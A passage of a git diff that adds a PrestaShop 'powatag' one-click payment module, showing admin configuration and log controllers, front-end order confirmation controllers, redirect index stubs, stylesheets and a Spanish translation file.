+ foreach (Language::getLanguages(false) as $language) + { + $data_lang = array( + 'id_tab' => $id_tab, + 'id_lang' => $language['id_lang'], + 'name' => $tab['name'], + ); + + // Now insert the tab lang data + $res = Db::getInstance()->insert('tab_lang', $data_lang); + } + + return $id_tab; + } + + + + /** + * Get the Id of a tab by its class name + * @param string $name classname to get the ID + * @return int id_tab + */ + public static function getAdminTabIDByClassName($name) + { + return Db::getInstance()->getValue('SELECT id_tab FROM '._DB_PREFIX_.'tab WHERE class_name = "'.pSQL($name).'"'); + } +} \ No newline at end of file diff --git a/modules/powatag/classes/index.php b/modules/powatag/classes/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/classes/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/controllers/admin/AdminPowaTagConfigurationController.php b/modules/powatag/controllers/admin/AdminPowaTagConfigurationController.php new file mode 100644 index 0000000..426d365 --- /dev/null +++ b/modules/powatag/controllers/admin/AdminPowaTagConfigurationController.php @@ -0,0 +1,326 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPowaTagConfigurationController extends ModuleAdminController +{ + public function __construct() + { + $this->table = 'powatag_configuration'; + $this->lang = false; + + $this->_select = null; //If needed you can add informations to select issued from other databases + $this->_join = null; //Join the databases here + + parent::__construct(); + + $this->bootstrap = true; + + $this->fields_options = array( + 'api_settings' => array( + 'title' => $this->l('API Settings'), + 'image' => '../img/admin/prefs.gif', + 'fields' => array( + 'POWATAG_API_KEY' => array( + 'title' => $this->l('API Key'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => '80', + 'visibility' => Shop::CONTEXT_SHOP, + 'required' => true + ), + 'POWATAG_HMAC_KEY' => array( + 'title' => $this->l('HMAC Key'), + 'validation' => 'isString', + 'type' => 'text', + 'visibility' => Shop::CONTEXT_SHOP, + 'size' => 80, + 'required' => true + ), + 'POWATAG_GENERATOR_URL' => array( + 'title' => $this->l('Powatag Endpoint URL'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 80, + ), + 'POWATAG_JS_URL' => array( + 'title' => $this->l('Head JavaScript URL'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 80, + ), + 'POWATAG_CSS_URL' => array( + 'title' => $this->l('Head CSS URL'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 80, + ), + 'POWATAG_LEGACY_ERRORS' => array( + 'title' => $this->l('Legacy error codes enabled'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_SHOP + ), + + ), + 'submit' => array('title' => $this->l('Save')) + ), + 'other_settings' => array( + 'title' => $this->l('Other Settings'), + 'image' => '../img/admin/tab-tools.gif', + 'fields' => array( + 'POWATAG_SHIPPING' => array( + 'title' => $this->l('Shipping Method'), + 'validation' => 'isInt', + 'type' => 'select', + 'identifier' => 'id_carrier', + 'desc' => $this->l('This will be used to calculate shipping costs'), + 'list' => Carrier::getCarriers($this->context->language->id, false, false, false, null, Carrier::ALL_CARRIERS), + 'visibility' => Shop::CONTEXT_SHOP, + 'required' => true + ), + 'POWATAG_SUCCESS_MSG' => array( + 'title' => $this->l('Sucess message'), + 'validation' => 'isString', + 'type' => 'textLang', + 'size' => '80', + 'visibility' => Shop::CONTEXT_SHOP + ), + 'POWATAG_IMG_TYPE' => array( + 'title' => $this->l('Image type to send'), + 'validation' => 'isInt', + 'type' => 'select', + 'identifier' => 'id_image_type', + 'list' => ImageType::getImagesTypes(), + 'visibility' => Shop::CONTEXT_SHOP, + 'required' => true + ), + ), + 'submit' => array('title' => $this->l('Save')) + ), + 'product_settings' => array( + 'title' => $this->l('Product Settings'), + 'image' => $this->module->getPathUri().'img/qr_code.png', + 'fields' => array( + 'POWATAG_QR' => array( + 'title' => $this->l('QR Code enabled'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_SHOP + ), + 'POWATAG_QR_POS' => array( + 'title' => $this->l('QR code Position'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => 'displayRightColumnProduct', 'name' => $this->l('displayRightColumnProduct')), + array('key' => 'displayLeftColumnProduct', 'name' => $this->l('displayLeftColumnProduct')), + array('key' => 'displayFooterProduct', 'name' => $this->l('displayFooterProduct')), + array('key' => 'displayProductButtons', 'name' => $this->l('displayProductButtons')) + ), + 'visibility' => Shop::CONTEXT_SHOP + ), + 'POWATAG_SKU' => array( + 'title' => $this->l('Which SKU field to use '), + 'validation' => 'isInt', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => Powatag::EAN, 'name' => $this->l('EAN13 or JAN')), + array('key' => Powatag::UPC, 'name' => $this->l('UPC')), + array('key' => Powatag::PRODUCT_ID, 'name' => $this->l('Product ID')), + array('key' => Powatag::REFERENCE, 'name' => $this->l('REFERENCE')), + ), + ), + 'POWATAG_REDIRECT' => array( + 'title' => $this->l('URL Redirect'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 250, + ), + 'POWATAG_OFFER' => array( + 'title' => $this->l('Promotional area'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 250, + ), + 'POWATAG_LANG' => array( + 'title' => $this->l('Language'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => '', 'name' => $this->l('Default')), + array('key' => 'site', 'name' => $this->l('Use site language')), + array('key' => 'en_GB', 'name' => $this->l('en_GB')), + array('key' => 'es_ES', 'name' => $this->l('es_ES')), + array('key' => 'fr_FR', 'name' => $this->l('fr_FR')), + array('key' => 'it_IT', 'name' => $this->l('it_IT')), + ), + ), + 'POWATAG_TYPE' => array( + 'title' => $this->l('Type'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => '', 'name' => $this->l('Default')), + array('key' => 'bag', 'name' => $this->l('Bag')), + array('key' => 'mobile-button', 'name' => $this->l('Mobile button')), + array('key' => 'tablet-bag', 'name' => $this->l('Tablet bag')), + ), + ), + 'POWATAG_STYLE' => array( + 'title' => $this->l('Style'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => '', 'name' => $this->l('Default')), + array('key' => 'act-left', 'name' => $this->l('act-left')), + array('key' => 'act-right', 'name' => $this->l('act-right')), + array('key' => 'buy-left', 'name' => $this->l('buy-left')), + array('key' => 'buy-right', 'name' => $this->l('buy-right')), + array('key' => 'give-left', 'name' => $this->l('give-left')), + array('key' => 'give-right', 'name' => $this->l('give-right')), + array('key' => 'bg-act-left', 'name' => $this->l('bg-act-left')), + array('key' => 'bg-act-right', 'name' => $this->l('bg-act-right')), + array('key' => 'bg-buy-left', 'name' => $this->l('bg-buy-left')), + array('key' => 'bg-buy-right', 'name' => $this->l('bg-buy-right')), + array('key' => 'bg-give-left', 'name' => $this->l('bg-give-left')), + array('key' => 'bg-give-right', 'name' => $this->l('bg-give-right')), + ), + ), + 'POWATAG_COLORSCHEME' => array( + 'title' => $this->l('Color scheme'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => '', 'name' => $this->l('Default')), + array('key' => 'light', 'name' => $this->l('Light')), + array('key' => 'dark', 'name' => $this->l('Dark')), + ), + ), + 'POWATAG_DISPLAY' => array( + 'title' => $this->l('Desktop / mobile'), + 'validation' => 'isString', + 'type' => 'select', + 'identifier' => 'key', + 'list' => array( + array('key' => '', 'name' => $this->l('Default')), + array('key' => 'both', 'name' => $this->l('Both')), + array('key' => 'desktop-only', 'name' => $this->l('Desktop only')), + array('key' => 'mobile-only', 'name' => $this->l('Mobile only')), + ), + ), + 'POWATAG_VIDEO' => array( + 'title' => $this->l('Video'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + ), + 'POWATAG_DEBUG' => array( + 'title' => $this->l('Developer mode'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + ) + ), + 'submit' => array('title' => $this->l('Save')) + ), + 'logs' => array( + 'title' => $this->l('Logs'), + 'image' => '../img/t/AdminLogs.gif', + 'fields' => array( + 'POWATAG_API_LOG' => array( + 'title' => $this->l('Enable applicative logging'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_SHOP + ), + 'POWATAG_REQUEST_LOG' => array( + 'title' => $this->l('Enable request logging'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + 'visibility' => Shop::CONTEXT_SHOP + ), + ), + 'submit' => array('title' => $this->l('Save')) + ) + ); + + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS($this->module->getPathUri().'css/backoffice.css'); + } + + public function initToolbar() + { + $this->toolbar_btn = $this->module->initToolbar(); + parent::initToolbar(); + } + + public function initPageHeaderToolbar() + { + $this->page_header_toolbar_btn = $this->module->initToolbar(); + parent::initPageHeaderToolbar(); + } + + public function renderOptions() + { + $this->context->smarty->assign(array( + 'marketing' => !Configuration::get('POWATAG_HMAC_KEY') || !Configuration::get('POWATAG_API_KEY') + )); + $before = $this->module->display(dirname(__FILE__).'/../../'.$this->module->name.'.php', 'powatag_configuration_before.tpl'); + $form = parent::renderOptions(); + $after = $this->module->display(dirname(__FILE__).'/../../'.$this->module->name.'.php', 'powatag_configuration_after.tpl'); + + return $before.$form.$after; + } + + public static function install($menu_id, $module_name) + { + PowatagTotAdminTabHelper::addAdminTab(array( + 'id_parent' => $menu_id, + 'className' => 'AdminPowaTagConfiguration', + 'default_name' => 'Configuration', + 'name' => 'Configuration', + 'position' => 0, + 'active' => true, + 'module' => $module_name, + )); + } + +} \ No newline at end of file diff --git a/modules/powatag/controllers/admin/AdminPowaTagLogsController.php b/modules/powatag/controllers/admin/AdminPowaTagLogsController.php new file mode 100644 index 0000000..bd0df26 --- /dev/null +++ b/modules/powatag/controllers/admin/AdminPowaTagLogsController.php @@ -0,0 +1,111 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminPowaTagLogsController extends ModuleAdminController +{ + public function __construct() + { + $this->table = 'powatag_logs'; + $this->className = 'PowaTagLogs'; + $this->lang = false; + + $this->_select = null; //If needed you can add informations to select issued from other databases + $this->_join = null; //Join the databases here + + parent::__construct(); + + $this->fields_list = array( + + 'subject' => array( + 'title' => $this->l('Subject'), + 'width' => 120, + ), + + 'status' => array( + 'title' => $this->l('Status'), + 'width' => 120, + ), + + 'message' => array( + 'title' => $this->l('Message'), + 'width' => 120, + ), + + 'date_add' => array( + 'title' => $this->l('Date'), + 'width' => 120, + 'type' => 'datetime' + ), + + ); + + $this->bootstrap = true; + + $this->fieldImageSettings = array( + ); + + $this->list_no_link = true; + + } + + public static function install($menu_id, $module_name) + { + PowatagTotAdminTabHelper::addAdminTab(array( + 'id_parent' => $menu_id, + 'className' => 'AdminPowaTagLogs', + 'default_name' => 'Logs', + 'name' => 'Logs', + 'position' => 0, + 'active' => true, + 'module' => $module_name, + )); + } + + public function renderList() + { + $this->toolbar_btn = $this->module->initToolbar(); + return parent::renderList(); + } + + private function getSelectedCategories($name) + { + return array($this->object->{$name}); + } + + private function getRootCategory() + { + $root_category = Category::getRootCategory(); + $root_category = array('id_category' => $root_category->id, 'name' => $root_category->name); + return $root_category; + } + + public function initPageHeaderToolbar() + { + $this->page_header_toolbar_btn = $this->module->initToolbar(); + parent::initPageHeaderToolbar(); + } +} \ No newline at end of file diff --git a/modules/powatag/controllers/admin/index.php b/modules/powatag/controllers/admin/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/controllers/admin/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/controllers/front/confirmation.php b/modules/powatag/controllers/front/confirmation.php new file mode 100644 index 0000000..1f9cf78 --- /dev/null +++ b/modules/powatag/controllers/front/confirmation.php @@ -0,0 +1,76 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Link to access the controller : $link->getModuleLink('powatag', 'confirmation') + */ +class PowatagConfirmationModuleFrontController extends ModuleFrontController +{ + public function __construct() + { + $this->display_column_left = false; + $this->display_column_right = false; + parent::__construct(); + $this->context = Context::getContext(); + + } + + public function postProcess() + { + parent::postProcess(); + } + + public function init() + { + parent::init(); + } + + public function initContent() + { + parent::initContent(); + + // Init smarty content and set template to display + $order = new Order(Order::getOrderByCartId(Tools::getValue('id_cart'))); + if ($order->id_customer == Tools::getValue('id_customer')) + { + $this->context->smarty->assign(array( + 'order' => $order, + 'state' => new OrderState($order->current_state, $this->context->language->id), + )); + + $this->setTemplate('confirmation.tpl'); + } + else + $this->setTemplate('error.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(__PS_BASE_URI__.'modules/powatag/css/confirmation.css'); + } +} diff --git a/modules/powatag/controllers/front/confirmation2.php b/modules/powatag/controllers/front/confirmation2.php new file mode 100644 index 0000000..dd0c2f8 --- /dev/null +++ b/modules/powatag/controllers/front/confirmation2.php @@ -0,0 +1,64 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Link to access the controller : $link->getModuleLink('powatag', 'confirmation') + */ +class PowatagConfirmation2ModuleFrontController extends ModuleFrontController +{ + public function __construct() + { + $this->display_column_left = false; + $this->display_column_right = false; + parent::__construct(); + $this->context = Context::getContext(); + + } + + public function postProcess() + { + parent::postProcess(); + } + + public function init() + { + parent::init(); + } + + public function initContent() + { + parent::initContent(); + + $this->setTemplate('confirmation2.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(__PS_BASE_URI__.'modules/powatag/css/confirmation.css'); + } +} diff --git a/modules/powatag/controllers/front/index.php b/modules/powatag/controllers/front/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/controllers/front/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/controllers/index.php b/modules/powatag/controllers/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/controllers/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/css/backoffice.css b/modules/powatag/css/backoffice.css new file mode 100644 index 0000000..06b0a33 --- /dev/null +++ b/modules/powatag/css/backoffice.css @@ -0,0 +1,227 @@ +#powatag_marketing { + color: #4d4d4f; + font-family: din-bold, sans-serif; + margin-bottom: 10px; + font-size:16px; + } + + #powatag_marketing a, #powatag_marketing a:visited { + color: #4D81C2; + text-decoration: none; + } + + #powatag_marketing a:hover { + text-decoration: underline; + } + + #powatag_marketing h2, #powatag_marketing h3 { + color: #58585B; + } + + #powatag_marketing h2 + { + font-size: 23px; + } + + + #powatag_marketing h2 .header-main { + display: block; + font-size: 42px; + line-height: 42px; + color: #4D81C2; + } + #powatag_marketing p { + margin-top: 1em; + margin-bottom: 1em; + } + + #powatag_marketing li { + margin-left: 40px; + margin-bottom: 1px; + list-style: disc; + } + + #powatag_marketing p, #powatag_marketing ul li + { + font-size:16px; + } + + #powatag_marketing h2 .header-note { + position: relative; + bottom: 0.1em; + display: block; + margin-bottom: 1.25em; + line-height: 80%; + color: #A7A9AB; + } + + + #powatag_marketing .clear { + clear: both; + } + + #powatag_marketing .button-wrapper { + text-align: center; + } + #powatag_marketing a.button_powa { + display: inline-block; + margin: 5px; + padding: 10px 15px; + color: #ffffff; + background-color: #4D81C2; + border-radius: 15px; + font-weight: bold; + font-size: 16px; + }*/ + + + + #powatag_marketing a,#powatag_marketing a:visited { + color: #4D81C2; + text-decoration: none; + } + + #powatag_marketing a:hover { + text-decoration: underline; + } + + #powatag_marketing h2, #powatag_marketingh3 { + color: #58585B; + } + + #powatag_marketing h2 .header-main, + #powatag_marketing h3 .header-main { + display: block; + font-size: 42px; + color: #4D81C2; + } + + #powatag_marketing h2 .header-note, + #powatag_marketing h3 .header-note { + position: relative; + bottom: 0.1em; + display: block; + margin-bottom: 1.25em; + line-height: 80%; + color: #A7A9AB; + } + + #powatag_marketing .clearfix { + clear: both; + } + + #powatag_marketing #container { + margin: 1em 2em; + } + + #powatag_marketing #header { + margin-bottom: 30px; + } + + #powatag_marketing #logo { + width: 280px; + height: 85px; + margin: 10px 0; + background-image: url("http://powatag.com/template/resource/runtime/1275/g16/static/images/logo-desktop.png"); + background-repeat: no-repeat; + background-size: 100%; + } + + #powatag_marketing #logo h1 { + display: none; + } + + #powatag_marketing #powatag_content { + padding: 10px 17px; + /*background-color: #ebebeb;*/ + background-color: #f5f5f5; + } + + .register-question { + padding: 10px 17px; + background-color: #f5f5f5; + width: 100%; + text-align:center; + } + + #powatag_container + { + margin-bottom:10px; + } + + #powatag_marketing #sidebar { + float: left; + width: 440px; + height: 100%; + } + + #powatag_marketing #sidebar h2 { + font-size: 32px; + color: #4D81C2; + } + + #powatag_marketing #sidebar #features { + margin-bottom: 30px; + } + + #powatag_marketing #sidebar #features li { + margin-bottom: 10px; + } + + #powatag_marketing #sidebar .user-manual { + font-size: 80%; + } + + #powatag_marketing #powatag_main { + margin-left: 450px; + clear:initial; + background: none; + min-height: 540px; + } + + #powatag_marketing #powatag_main #adventages li { + padding-bottom: 5px; + } + + #powatag_marketing a.button { + display: inline-block; + margin: 5px; + padding: 10px 15px; + color: #ffffff; + background-color: #4D81C2; + border-radius: 15px; + font-weight: bold; + width:140px; + } + + #powatag_marketing #powatag_main #register-wrapper { + display: table; + margin-top: 40px; + } + + #powatag_marketing #powatag_main .register { + display: table-cell; + vertical-align: middle; + padding: 0 10px; + } + + #powatag_marketing #powatag_main .register a { + width: 140px; + text-align: center; + /*margin-left: 20px;*/ + } + + #powatag_marketing #powatag_main .questions { + display: table-cell; + vertical-align: middle; + margin: 10px 5px 5px 20px; + padding-left: 1em; + border-left: 1px solid #c5c5c5; + font-weight: bold; + font-size: 80%; + } + + #powatag_marketing #powatag_main .the-advantages { + font-weight: bold; + } + \ No newline at end of file diff --git a/modules/powatag/css/confirmation.css b/modules/powatag/css/confirmation.css new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/css/index.php b/modules/powatag/css/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/css/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/css/powatag.css b/modules/powatag/css/powatag.css new file mode 100644 index 0000000..10d1ea7 --- /dev/null +++ b/modules/powatag/css/powatag.css @@ -0,0 +1,5 @@ +.powaTagWrapper +{ + margin:auto; + margin-top:10px; +} \ No newline at end of file diff --git a/modules/powatag/es.php b/modules/powatag/es.php new file mode 100644 index 0000000..9e54a7c --- /dev/null +++ b/modules/powatag/es.php @@ -0,0 +1,117 @@ +powatag_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_ba232a8e09c58ddb7cce6e6c2712e459'] = 'Powatag, la solución de pago en un solo clic, que incrementa tu ratio de conversión on line y móvil'; +$_MODULE['<{powatag}prestashop>powatag_254f642527b45bc260048e30704edb39'] = 'Configuración'; +$_MODULE['<{powatag}prestashop>powatag_b2d37ae1cedf42ff874289b721860af2'] = 'Registros'; +$_MODULE['<{powatag}prestashop>powatagabstract_d3ec7632d605da9da12880dd25ac1af1'] = 'Moneda no disponible : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_4c7490ad9d07138986300c3cab26ee84'] = 'Este producto no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_30bee8c9919a19866a702119b87d62f8'] = 'Esta variante no esta disponible : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_478f1f7fd9b80a7d3cbd7e00dc1706fa'] = 'El precio de esta variante es diferente que en la tienda : %s %s != %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_01d8561901fe857fa3fefe4e04b5e4b0'] = 'Stock no disponible'; +$_MODULE['<{powatag}prestashop>powatagabstract_24297a992eeaa67461e0810b574637e7'] = 'Cantidad > stock disponible'; +$_MODULE['<{powatag}prestashop>powatagabstract_6ff9e41247f5c3255089a69c47aa4cfc'] = 'El país no existe o no está disponible en esa tienda : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_a281d7379bcf4fb417e0152dc534a0b0'] = 'El transportista no realiza entregas : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_b4d6c48294e4b66bd0cbd55d70e645c7'] = 'El transporte no está disponible : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_e011198578b1ae960342b303d3d5c2b2'] = 'El transportista no realizas entrega en esa zona : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_3b81f574e1cfb038c32361cc1431e468'] = 'El país no esta activo : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Mi dirección'; +$_MODULE['<{powatag}prestashop>powatagabstract_d6106a1a6739dae160e5405d29cc2515'] = 'No puede ser entregado'; +$_MODULE['<{powatag}prestashop>powatagorders_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Mi dirección'; +$_MODULE['<{powatag}prestashop>powatagorders_28dc8144703a06441d53f75f43ef2e02'] = 'La cantidad total no se corresponde con el total : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_86b20dbaccb5bf057a36efecb62a8b46'] = 'El subtotal es incorrecto : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_7b9f2e8e6fae51b7be5ad8760c6f5aa0'] = 'Error en los gastos de envío : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_c5b67a8f795189ab70cc416e3ab3c260'] = 'Los gastos de envío son incorrectos : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_e372d89f8f97be9e67f77cf3bcd4a705'] = 'Los impuestos no son los correctos : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_4c7490ad9d07138986300c3cab26ee84'] = 'El producto no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_d3ec7632d605da9da12880dd25ac1af1'] = 'La moneda no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_30bee8c9919a19866a702119b87d62f8'] = 'La variante no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_01d8561901fe857fa3fefe4e04b5e4b0'] = 'Stock no disponible'; +$_MODULE['<{powatag}prestashop>powatagorders_24297a992eeaa67461e0810b574637e7'] = 'Cantidad > stock disponible'; +$_MODULE['<{powatag}prestashop>powatagorders_7c404c6dc9d5101160daedc54bb07f94'] = 'Cantidad < mínima cantidad de productos'; +$_MODULE['<{powatag}prestashop>powatagpayment_7e1f29db22516a463851d83869df888d'] = 'El carrito no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_61e2a09916061f758bc138cc06ec2fc1'] = 'El carrito ya está asociado con un pedido : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_ed87c7d12f5fc7a8d37ae428129cc972'] = 'El cliente no existe : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_42ce4411cce8bc80e8cb34facb207af1'] = 'Las informaciones enviada en la petición no son idénticas a las guardadas : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_87ec24c2297667f006fd93f366bf5731'] = 'Ninguna transacción disponible para, Carrito : %s, Dispositivo : %s & IP : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_b80452c7eecae1e25698a9d048f0cdf7'] = 'Demasiadas transacciones disponibles para, Carrito : %s, Dispositivo : %s & IP : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_898245a24e6e82c984bd0b608c5a2df9'] = 'Moneda no disponible : %s'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_cec2ab5f5e872165e2fadfe47ad6caf5'] = 'Opción del API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d876ff8da67c3731ae25d8335a4168b4'] = 'Llave API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_5e6272bf893cb3e9b30325de7680b50f'] = 'HMAC'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d575f455566ce078c5b13801e34cedac'] = 'Generador URL Powatag'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_75498e1de8ec9cc2a0bff6a88559e203'] = 'Head JavaScript URL'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_6271949874757bc88acf8ec10392b66f'] = 'Head CSS URL'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Guardado'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_a8ad8ed0d7a57bafaf4fa86fda0dd87f'] = 'Otras opciones'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_49ffd9480effff979143d2e8d38931c4'] = 'Método de envío'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_814f3c633592e84c3306559ad32ef13f'] = 'Esto se utilizará para calcular los costes de envío'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d62da80ff71a1c32b8d2fcb20c0cb590'] = 'Mensaje de éxito'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_64387aaed0905c364b9c99a72f2dc4d6'] = 'Tipo de imagen para enviar'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_3821c92eff2643b0d1ccdce26d2e8e48'] = 'Opciones de producto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_28646b1a68c193c494d2545a98244db6'] = 'Activar el código QR'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9d7c35eae1f19aeffe139811562785ea'] = 'Posición del código QR'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7d05de6987fe0d3d6be0587b79fc40f8'] = 'Display Columna derecha Producto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fe9bcf5ddcc758d90dbe308c4f8464a1'] = 'Display Columna izquierda Producto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_78f9be9df64534c305e01071626b727b'] = 'Display Pie de página Producto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_79fec8d09ca8a2663db327907a910247'] = 'Display Productos Botones'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_94225f5cdacf7fee6667ca2320fb2f60'] = 'Qué campo SKU utilizar'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9441356559f394a164fb218c062062fb'] = 'EAN13 o JAN'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fbd99ad01b92dbafc686772a39e3d065'] = 'UPC'; 